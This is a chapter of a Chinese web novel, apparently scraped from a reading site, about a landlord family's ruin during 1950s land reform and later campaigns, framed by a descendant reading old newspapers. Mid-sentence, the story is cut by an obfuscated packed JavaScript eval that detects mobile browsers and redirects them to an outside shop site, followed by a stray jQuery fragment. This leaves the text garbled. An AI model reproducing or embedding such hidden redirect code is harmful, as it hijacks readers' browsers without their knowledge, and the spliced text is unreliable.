沈未明在观澜堂的杂物间里，找到了一摞旧报纸。
报纸，都发黄了。
也很破。
有的，缺了角。
有的，被虫蛀了很多洞。
但是，大部分内容，还能看清。
都是，五十年代的报纸。
有《人民日报》。
有《解放日报》。
还有，一些，地方的小报。
沈未明，坐在地上，一张一张地翻着。
翻着翻着，他就看到了。
看到了，关于土改的报道。
看到了，关于斗地主的报道。
也看到了，沈家的名字。
在一个，不起眼的角落里。
写着：
"雾镇大地主沈静言，被人民群众批斗，其土地财产全部分给贫苦农民。"
短短的一行字。
却像一把刀子。
狠狠地，扎在沈未明的心上。
他拿着那张报纸，看了很久。
手指，都在抖。
他好像，听到了什么声音。
很吵。
很乱。
有喊口号的声音。
有哭的声音。
还有，东西被砸碎的声音。
然后，他就看到了。
看到了，很多年前的那个冬天。
看到了，那场，轰轰烈烈的土改运动。
一九五零年，冬天。
土改运动，开始了。
工作队，进了雾镇。
发动群众。
斗地主。
分田地。
整个镇子，都沸腾了。
那些，平时老老实实的农民。
一下子，都变得不一样了。
他们，站了起来。
当家作主了。
他们，要把那些，压迫了他们几千年的地主。
统统打倒。
把他们的土地，他们的财产。
都拿回来。
还给，劳动人民。
沈家，当然是雾镇，最大的地主。
自然，也是，重点批斗对象。
工作队，第一个，就找上了沈家。
那天，天气很冷。
下着雪。
纷纷扬扬的。
把整个镇子，都染成了白色。
一大早，就来了很多人。
有工作队的干部。
有，村里的农民。
还有，很多，看热闹的人。
黑压压的一片。
把观澜堂的大门，围得水泄不通。
沈静言，听到动静。
走了出来。
他站在台阶上。
看着下面，密密麻麻的人群。
心里，很平静。
他知道，这一天，迟早会来的。
从解放那天起，他就知道。
只是，没想到，会来得这么快。
也没想到，会这么，轰轰烈烈。
工作队的队长，站在人群前面。
指着沈静言，大声说：
"乡亲们！"
"这就是，雾镇最大的地主，沈静言！"
"他家里，有几百亩地！"
"有好几间铺子！"
"这些，都是哪里来的？"
"都是，从我们劳动人民身上，剥削来的！"
"我们辛辛苦苦，种了一年地。"
"到头来，粮食都被他收走了！"
"我们自己，却吃不饱，穿不暖！"
"大家说，公平不公平？"
下面的人，齐声喊：
"不公平！"
声音，很大。
震得，沈静言的耳朵，都嗡嗡响。
队长，又说：
"今天，我们就要，讨回公道！"
"把地主阶级，彻底打倒！"
"把他们的土地，他们的财产。"
"都分给我们贫苦农民！"
"大家说，好不好？"
下面的人，又齐声喊：
"好！"
"打倒地主阶级！"
"共产党万岁！"
"毛主席万岁！"
口号声，此起彼伏。
像潮水一样。
一波，接着一波。
沈静言，站在台阶上。
静静地，听着。
脸上，没有什么表情。
既不害怕。
也不愤怒。
就那么，静静地站着。
好像，他们说的，不是他一样。
他知道，这是历史的潮流。
谁也挡不住。
沈家，几百年的家业。
到他这一代，算是到头了。
他觉得，没什么。
钱，是身外之物。
生不带来，死不带去的。
只要，一家人平平安安的。
就比什么都强。
可是，沈佩弦，受不了。
他听到外面的动静。
也颤颤巍巍地，走了出来。
看到下面，那么多人。
听到那些，口号声。
他的脸，一下子就白了。
他指着那些人，说，你们……你们想干什么？
这是我们沈家的宅子！
你们不能进来！
队长，看着他，冷笑了一声。
说，沈家的宅子？
"这宅子，是用我们劳动人民的血汗钱盖的！"
"现在，该还给我们了！"
沈佩弦，气得浑身发抖。
他说，你胡说！
这是我们沈家，几代人，辛辛苦苦挣下来的！
不是偷的，也不是抢的！
队长说，辛辛苦苦挣下来的？
"靠剥削我们老百姓挣的？"
"那也叫辛苦？"
"我看，你们这些地主，才是真正的寄生虫！"
"吸我们劳动人民的血！"
下面的人，也跟着喊：
"对！寄生虫！"
"打倒地主！"
"把地主赶出去！"
沈佩弦，气得说不出话来。
他指着队长，指着下面的人群。
手指，抖得厉害。
他说，你们……你们……
话没说完。
他就身子一歪。
倒了下去。
"爹！"
沈静言，赶紧跑过去。
把他爹，扶了起来。
沈佩弦，眼睛紧闭着。
脸色，苍白得像纸一样。
呼吸，也很微弱。
沈静言，抱着他爹。
眼泪，一下子就掉了下来。
他抬起头，看着队长，看着下面的人群。
眼睛里，充满了血丝。
他说，你们满意了？
你们高兴了？
队长，看着他。
脸上，没有任何表情。
他说，这是他自己，罪有应得。
"地主阶级，都是这样。"
"好日子过惯了。"
"一听到要斗争他们，就受不了了。"
"这是，他们应得的下场。"
沈静言，看着他。
看了很久。
然后，他什么都没说。
只是，抱着他爹。
默默地，流着眼泪。
那天，雪下得很大。
落在他的身上。
落在他爹的脸上。
很快，就白了一片。
看起来，像两个，雪人。
那天，沈家，被抄家了。
土地，被分了。
铺子，被分了。
家里的钱财，也被分了。
连，房子，也被分了一大半。
只给他们，留了几间偏房。
让他们，住。
观澜堂，这座，沈家几代人，住了几百年的宅子。
就这样，变成了别人的。
沈佩弦，当天晚上，就走了。
没熬过去。
临死前，他拉着沈静言的手。
说，言儿，是爹没用。
爹没守住，沈家的家业。
爹对不起，列祖列宗。
沈静言，摇着头，说，爹，你别这么说。
不怪你。
这不是你的错。
沈佩弦，笑了笑。
笑得，很凄凉。
他说，沈家，几百年的基业。
到我这一代，就败了。
我死了之后，怎么去见列祖列宗啊？
说完，他就闭上了眼睛。
手，也垂了下去。
沈静言，抱着他爹的尸体。
哭了很久。
哭得，撕心裂肺的。
林微，也在旁边哭。
母子俩，抱在一起。
哭成了泪人。
外面，还在下雪。
纷纷扬扬的。
好像，也在为他们哭泣。
沈佩弦的葬礼，办得很简单。
甚至，连棺材，都买不起好的。
只能，用一口薄皮棺材。
草草下葬了。
送葬的人，也很少。
只有，沈家的几个老人。
还有，几个，以前受过沈家恩惠的老佃户。
偷偷地，来送了最后一程。
其他人，都躲得远远的。
生怕，跟地主家，扯上关系。
会连累自己。
世态炎凉。
莫过于此。
葬礼办完之后。
沈家的日子，就更难过了。
以前，他们是高高在上的地主老爷。
现在，成了，人人喊打的地主分子。
走在街上，别人都对他们，指指点点的。
吐口水。
骂他们，是狗地主。
是，寄生虫。
以前，那些跟他们关系很好的亲戚朋友。
现在，也都不来往了。
见了面，都装作不认识。
赶紧，绕着走。
生怕，沾染上他们。
家里的日子，也过得很艰难。
没有了土地。
没有了铺子。
也就没有了收入。
坐吃山空。
家里的积蓄，本来就不多了。
抄家的时候，又被抄走了大部分。
剩下的一点，也撑不了多久。
沈静言，只能，出去找活干。
可是，没人愿意，雇他。
他是地主分子。
谁敢雇他啊？
雇了他，就是跟人民群众作对。
就是，立场不坚定。
谁也不敢，冒这个险。
沈静言，找了很多地方。
都没人要。
最后，没办法。
只能，去干最苦最累的活。
去码头，扛大包。
去工地，搬砖头。
什么活，都干。
只要，能赚钱。
能养家糊口。
就行。
沈静言，以前，是个大少爷。
养尊处优的。
哪里干过这种粗活？
第一天，扛了一天大包。
晚上，回到家。
肩膀，都磨破了。
流了很多血。
疼得，连衣服都穿不上。
手上，也磨出了很多水泡。
一碰，就钻心的疼。
林微，看着他这个样子。
心疼得直掉眼泪。
她说，言儿，别干了。
我们……我们再想想别的办法。
沈静言，笑了笑。
说，娘，没事。
我年轻，身体好。
扛得住。
你放心吧。
没事的。
林微，看着他。
哭得更厉害了。
她知道，儿子是在安慰她。
怎么会没事呢？
那么重的活。
铁打的人，也扛不住啊。
可是，她也没办法。
家里，总得有人赚钱啊。
不然，怎么活呢？
从那以后，沈静言，每天都去干活。
不管，刮风下雨。
不管，严寒酷暑。
从来，都不休息。
他的身体，越来越差了。
人，也越来越瘦了。
脸色，蜡黄蜡黄的。
看起来，像个小老头似的。
可是，他从来，都不叫苦。
也不叫累。
每天，回到家。
都装作，很轻松的样子。
跟他娘说，没事。
不累。
可是，林微知道。
他是，不想让她担心。
日子，虽然苦。
但是，母子俩，相依为命。
也算是，平平安安的。
沈静言，本来以为。
就这样，安安稳稳地，过日子。
也挺好的。
虽然穷。
但是，只要一家人在一起。
就比什么都强。
可是，他没想到。
这，只是开始。
以后，还会有更多的运动。
更多的批斗。
等着他们。
一九五五年，肃反运动。
沈静言，因为，以前在南京读过大学。
还跟一些，国民党的官员，有过接触。
被怀疑，是国民党特务。
被抓了起来。
关了好几个月。
每天，都要被审问。
要他，交代问题。
要他，揭发别人。
沈静言，什么都不知道。
也没什么好交代的。
他就说，我不是特务。
我也没做过，任何对不起国家的事。
可是，没人信他。
他们说，他不老实。
说他，负隅顽抗。
就斗他。
打他。
折磨他。
沈静言，被关了三个多月。
最后，因为，实在查不出什么证据。
就把他放了。
可是，放出来的时候。
他已经，被折磨得不成人样了。
浑身，都是伤。
瘦得，只剩一把骨头了。
路，都走不动了。
是被人，抬回来的。
林微，看到儿子这个样子。
当时，就晕过去了。
沈静言，在家养了好几个月。
才慢慢，恢复过来。
可是，身体，彻底垮了。
再也干不了，重活了。
只能，干点轻活。
赚的钱，也更少了。
家里的日子，就更难了。
可是，就算这样。
运动，还是没有停止。
一波，接着一波。
反右。
□□。
人民公社。
一次，比一次厉害。
沈静言，作为地主分子。
每次运动，都首当其冲。
被批斗。
被游街。
被剃阴阳头。
各种各样的折磨。
都经历过了。
一开始，他还觉得，委屈。
觉得，不公平。
后来，慢慢的，也就麻木了。
斗就斗吧。
游街就游街吧。
反正，也死不了。
怎么活，不
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17735666|209047||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
是活呢？
林微，身体也越来越差了。
这些年，担惊受怕的。
又吃不好，穿不暖。
早就，落下了一身的病。
可是，她舍不得，花钱看病。
就那么，硬扛着。
扛到最后，实在扛不住了。
就病倒了。
林微病倒的时候，家里，连买药的钱都没有。
沈静言，到处去借。
可是，没人愿意，借给他们。
谁愿意，借钱给地主分子啊？
那不是，自找麻烦吗？
沈静言，没办法。
只能，眼睁睁地，看着他娘。
一天比一天，虚弱。
最后，在一个，冬天的晚上。
林微，也走了。
走的时候，很平静。
她拉着沈静言的手。
说，言儿，娘要走了。
你自己，要好好照顾自己。
别……别太苦了自己。
说完，她就闭上了眼睛。
脸上，还带着微笑。
好像，终于解脱了似的。
沈静言，抱着他娘的尸体。
坐了一夜。
也哭了一夜。
眼泪，都流干了。
他觉得，自己的世界，彻底塌了。
爹走了。
娘也走了。
现在，就剩下他一个人了。
孤零零的。
活在这个世界上。
还有什么意思呢？
他甚至，想过，跟他娘一起走。
一了百了。
可是，最后，他还是没有。
他想，好死不如赖活着。
也许，以后，会好起来的。
也许，等运动过去了。
一切，都会好起来的。
他只能，这么安慰自己。
林微的葬礼，比沈佩弦的，还要简单。
连棺材，都是用旧木板钉的。
很简陋。
送葬的人，更少了。
只有，沈静言一个人。
他扛着锄头。
背着他娘的棺材。
走到山上。
挖了个坑。
把他娘，埋了。
埋在，他爹的旁边。
让他们，也好有个伴。
埋完他娘。
沈静言，坐在坟前。
坐了很久。
直到，太阳都落山了。
他才站起来。
拍了拍身上的土。
往山下走去。
夕阳，把他的影子，拉得很长很长。
看起来，很孤单。
很凄凉。
像一条，无家可归的狗。
从那以后，沈静言，就一个人生活了。
住在，观澜堂的那几间偏房里。
每天，出去干活。
赚点钱，养活自己。
日子，过得很苦。
也很孤独。
可是，他还是，坚持着。
活着。
他也不知道，自己为什么要活着。
也许，是为了，等一个希望。
也许，只是因为，不敢死。
谁知道呢？
沈未明读到这里，停了下来。
他放下那张旧报纸。
坐在那里，愣了很久。
心里，像被什么东西堵住了似的。
喘不过气来。
他想起了，那张照片。
照片上的沈静言。
笑得那么灿烂。
那么，有朝气。
眼睛里，充满了希望。
那时候的他，肯定不会想到。
自己的人生，会变成这个样子。
会这么惨。
这么，没有尊严。
沈未明，叹了口气。
他想起了，一句话。
"时代的一粒灰，落在个人头上，就是一座山。"
沈静言，就是被这座山，压住了。
压得，他喘不过气来。
压得，他直不起腰来。
最后，被压得，粉身碎骨。
可是，这能怪谁呢？
怪他自己？
怪他，生在地主家？
还是，怪这个时代？
沈未明不知道。
他只知道，这样的故事，在那个年代。
肯定还有很多很多。
不止沈静言一个。
还有千千万万的人。
都被时代的洪流，裹挟着。
身不由己。
最后，被淹没在，历史的长河里。
连个水花都没有。
就那么，消失了。
没有人记得。
没有人知道。
就像，从来没有存在过一样。
沈未明，站起身，活动了一下身体。
坐了太久，腿都麻了。
他走到杂物间门口。
推开门。
外面的阳光，很好。
照在身上，暖暖的。
院子里的桂花树，长得很茂盛。
绿油油的。
充满了生机。
谁能想到，几十年前。
这里，曾经发生过那样的事。
曾经，有那么多人。
在这里，批斗地主。
在这里，分财产。
在这里，上演了，一幕幕，人间悲喜剧。
好像，都过去了。
好像，什么都没发生过似的。
可是，真的过去了吗？
沈未明不知道。
他只知道，有些事情。
是不会过去的。
它会，刻在这座宅子里。
刻在，这些老房子上。
刻在，每一块砖，每一片瓦上。
也刻在，沈家每一代人的骨血里。
一代一代地，传下去。
直到，永远。
沈未明，在门口，站了很久。
直到，太阳都快落山了。
他才转过身，往自己的房间走去。
走着走着，他突然觉得，后背有点凉。
好像，有人在看着他似的。
他回过头。
身后，空荡荡的。
什么都没有。
只有，那间杂物间。
还有，门口的那棵老槐树。
风吹过，树叶，沙沙地响。
像有人，在叹气。
又像，有人在哭。
沈未明，打了个寒颤。
他赶紧，加快脚步。
往自己的房间走去。
他想，这座宅子，真的太邪门了。
到处，都充满了，过去的气息。
到处，都好像有，鬼魂在游荡。
可是，他又能去哪里呢？
他已经，走进来了。
就再也，出不去了。
就像，他的先辈们一样。
生在这里。
死在这里。
最后，也埋在这里。
成为，这座宅子的一部分。
成为，这个家族宿命的一部分。
永远，都逃不掉。
夕阳，把这座古老的宅子，照得金灿灿的。
像镀了一层金似的。
可是，金灿灿的下面。
又藏着多少，黑暗的秘密呢？
藏着多少，人的眼泪和鲜血呢？
没有人知道。
也许，只有这座宅子自己知道。
只有，那些死去的人知道。
他们，都还在这里。
守着这座宅子。
也守着，他们的，爱恨情仇。
还有，他们的，遗憾和不甘。
一代又一代。
永远，永远。